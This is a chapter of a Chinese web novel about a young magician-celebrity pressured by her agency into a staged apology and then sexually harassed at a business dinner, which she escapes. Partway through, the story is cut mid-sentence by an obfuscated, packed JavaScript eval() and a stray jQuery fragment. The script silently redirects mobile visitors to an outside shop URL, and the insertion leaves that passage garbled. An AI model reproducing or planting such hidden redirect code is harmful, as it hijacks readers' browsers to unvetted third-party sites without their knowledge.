2024年大年初二，北京。
柏嘉妤在玄关处睡了几个小时，醒来时天已经亮了。
打开手机，有十几个陈总的未接电话和几十条微信消息，最后一条发在一个小时前，说只再给她两个小时时间，赶紧滚来公司。
抬头一看，还有半个多小时。
她并没有着急，玄关柜上摆放着年幼的她与哥哥的合影，越长大她越喜欢拍照，但那些照片都缺少了哥哥的身影。
嘉妤想，如果他还.....
就在这时，清晰的敲门声拉回了她的思绪。
门外同样年轻的的乔虹哀求道：“嘉妤，你快去见见陈总吧，我都被他连着骂了快一个小时了，你别跟以前那些艺人似的，被他整得抑郁的抑郁，疯的疯。”
柏嘉妤按了按太阳穴，想着该面对的还是要面对。
再次来到经纪公司的那间大会议室，公司里的十多个黑西服领导齐刷刷地看向她，有的叹气，有的露出不怀好意的笑容，最平静的还是艺人部总经理陈志勇，他老鹰似的目光死死钉在柏嘉妤的脸上。
“别给我整这一出，要干什么直说。”
柏嘉妤说出这些话的时候，她自己都震惊了一下。
乔虹在后面拉住她的袖子，可越这样她越是放肆。
“接下来没有工作了吧，我要回广东几天——”
“你果然就还是个小孩子。”陈总终于说话了，“逃避到这种地步有用吗？至少发个微博道歉会吗？或者联系公关处理，就这样不接电话不回消息，你知道有多幼稚吗？”
另一个秃头经理赶紧附和着陈总：“对啊，小柏，不是当艺人就没有职场上的那些事儿了。唉，算了，今天把你叫过来，就是来探讨补救方案的，公司还没有完全放弃你。”
柏嘉妤坐在离自己最近的空椅子上，陈总告诉她：“其实这不算什么，不少人都犯过法还能继续当艺人，还有粉丝呢，互联网是没有记忆的，再说了黑红也是红，你看看B站鬼畜区里的明星阵容，你根本就不用害怕到这种地步。”
“我没有害怕。”她只听清了这几个字，“我最近不想再做出任何回应了，如果你们想，就自己发，我的账号不都在你们手上吗？”
“你以为这里是哪里？！”陈志勇把手中的文件pang一声拍到桌子上，“是你撒泼打滚的地方吗？！我跟你说，要是真的不想干了，就趁早给我赔违约金走人，别在这里犯浑。”
柏嘉妤气得喘着粗气，一句话不说，气滚滚地走出了会议室。
乔虹追了出去，跑着跟在她屁股后面，两人一起来到了楼下的便利店。
她告诉她，违约金有七位数。
嘉妤便不再说话了。
身为相对亲近的经纪人，乔虹不会说她，这次也是一样。她只会默默陪在她身边，把热水送到她面前。
热水的热气慢慢向上升腾，几分钟又几分钟过去，所有的热气终于都消失不见了。
“我配合，公司想怎么着就怎么着吧。”
最后，柏嘉妤说出了这句话。
她拿着一瓶红酒去到陈总的办公室，僵硬把昂贵的就放在办公桌上，低着头，没看直视他的眼睛。
“上...上午的事是我错了，我接受公司的处罚，也愿意一起和公司共同面对这次的事件。”
陈志勇示意她坐下，开口道：“你先在微博上发个道歉，文案公关部会给你想，然后在抖音和B站发一个道歉长视频，那种纪录片样式的，把你所有的情绪是真的也好假的也好都表现出来。我们再买一些推广和热搜，渲染一下，就八九不离十了。”
柏嘉妤木木地听着，不停地点头。
当天晚上，微博发出，上了热搜，那些评论柏嘉妤没敢看。
微型纪录片也开始紧锣密鼓地拍摄，团队真正来到了柏嘉妤家里，拍她一些无意义的镜头——她喝水、踱步、抱着扑克牌不言语，脸上的表情始终带着淡淡的忧伤。
她从魔术师，变成了演员。
专业的导演和编剧坐镇现场，就连陈总都来了，柏嘉妤不知道他们究竟想拍成什么样，但她在恍惚间突然想起来，好像很多天没有练习了。
那副扑克牌一直放在那里，落下了薄薄一层的灰尘。
看这拍摄进度，恐怕没有干这个的时间。
陈总一直在说，不光要拍这一个视频，之后要跟着不少的视频，走那种亲民的路线，同时揭秘自己的魔术，开自己失误的玩笑。
柏嘉妤总是紧紧攥着手，咬着牙，一言不发。
这个小型纪录片拍了两天两夜，好不容易熬到下班，柏嘉妤躺在乔虹的腿上，深深地睡了过去。
那些舆论她没有再看，她只知道公司的这个想法貌似并不好，她不是专业的表演者，甚至在现实世界里都容易冷脸，很难控制自己的情绪，所以在纪录片里的那些表演正在被网友诟病，这是陈总说的。
但陈总却是笑盈盈的，告诉她这不是绝对的坏事儿，他们没买的话题都上了热搜，说明热度还在，还有很多品牌在请求合作。
另外最重要的是，各大平台她的话题量和搜索量都在紧急上升，粉丝们自发控评、“洗广场”，最终还是有效果的。
就此，陈总决定邀请她吃个饭，柏嘉妤本能地拒绝，但是很难拒绝得掉。
服务员为她打开门，包间就两个人，除了陈总还有一个肥腻的男人，看着四十多岁，有两百斤？
“嘉妤，这是王总，快叫王总好。”
她愣在包间门口，深呼吸一口气，用最小的声音喊了句：“王总。”
王总像只大公鸡，“咯咯咯”地笑着，脸上的肥肉堆在一起，比饭桌上的猪肘油还大。
“嘉妤多大了，看着还很小，有男朋友吗？”
“谢谢王总关心，暂时还没有。”
眼看柏嘉妤就站在那里也不往前走，陈总去把她拉过去，摁在了王总身边。
“没有男朋友，那也就没有尝试过吧？”王总暧昧的语气让柏嘉妤浑身起鸡皮疙瘩，“嗯？”
“对不起，王总，这个......”她低着头，不敢直视王总。
“对啊，王总，她胆子小。”陈总马上打断了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17949542|214143||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
她的话，“没有试过，还是个小女孩儿。”
柏嘉妤马上站起来，把面前盛着热汤的盘子一把摔倒地上，然后大声地骂了一句：“滚蛋！”
她知道，乔虹一直在外面。这个唯一的己方打开饭店的包厢，拉住她的胳膊把她拉了出来。
陈总和王总生了气，还想继续阻挠，但是用她能发出来的最大的声音吼着：
“救命！！！”
路过的客人和服务员都往里面望，两个老总只能坐回座位上，脸色一个比一个难看。
好在柏嘉妤终究是逃出了这一劫。
夜色中，嘉妤和乔虹走在北京的大街上，谁也没有说话。
春节假期在一天天地消逝，那些讨论那些梗，那些恶搞的视频却一天比一天更加热闹。
回到家中，犹豫了一路的乔虹终于握住柏嘉妤的手，严肃地向她道歉：“对不起，我不该劝你不解约，我也不知道会发生这种事儿，我还以为只有那些演员们会这样，这么魔术师也...”
“不是你的错，乔乔。”柏嘉妤脸色异常苍白，“是我自己不够坚定，那个陈总，我早就知道他是什么样的人。”
“我存款还有十万左右，我买了车，给妈妈买了房子，付了首付，还在还贷款，可能连房贷都付不起了。”
乔虹似乎还想说什么，但张了半天嘴，一个字也说不出来。
这个时候，柏嘉妤的手机铃声响了起来。
是妈妈打来的电话。
她立刻擦干眼泪，用力吸了吸鼻子，按下了接听键。
“阿妤啊，你还好吗？最近怎么样？我看了你的抖音，你是演的吗，现实中是不是没有那么难过，你说话啊。”
即便刚才伪装得再好，一听到妈妈的声音，她就再也绷不住了。
“妈妈——我——我想回家。”
乔虹握住柏嘉妤的肩膀，妈妈在电话里耐心地安慰着女儿。潮汕话乔虹听不懂，但听那温柔得滴水的语气，就明白柏嘉妤能挺过这一夜了。
母女俩又说了很多，嘉妤一会儿哭一会儿笑的，一会儿说明天就回汕头，一会儿又说陈总可能不让她走。估计她脑子早就乱了，妈妈倒是不管她说什么都耐心地附和。
半个小时后，两人才挂断电话。
乔虹亲自做好了几道家常菜，这是她特意学的潮汕菜。
柏嘉妤一声不吭的坐到椅子上埋头吃饭，她一向不好好吃饭，这会儿却异常地爱吃。甚至于添了好几次米饭，有种吃不饱的感觉。
就这样吃着饭，她突然把筷子拍到桌子上，眼圈红红地宣布：“我必须要解约，违约金协商，大不了成老赖。而且我必须得回家几天，好好睡几觉。”
她的眼泪滴在菜汤里，泛起一圈圈细小的涟漪。
不然，她一定会死在这里。
乔虹把纸巾递给她，不知道说些什么能够安慰到她，就选择了闭嘴。
两个年轻的女孩面对面坐着，脸上的迷茫和愕然，还有最多的愤怒在一点点、一点点地被黑夜吞噬掉。
月亮出来了，是最最明亮的圆月。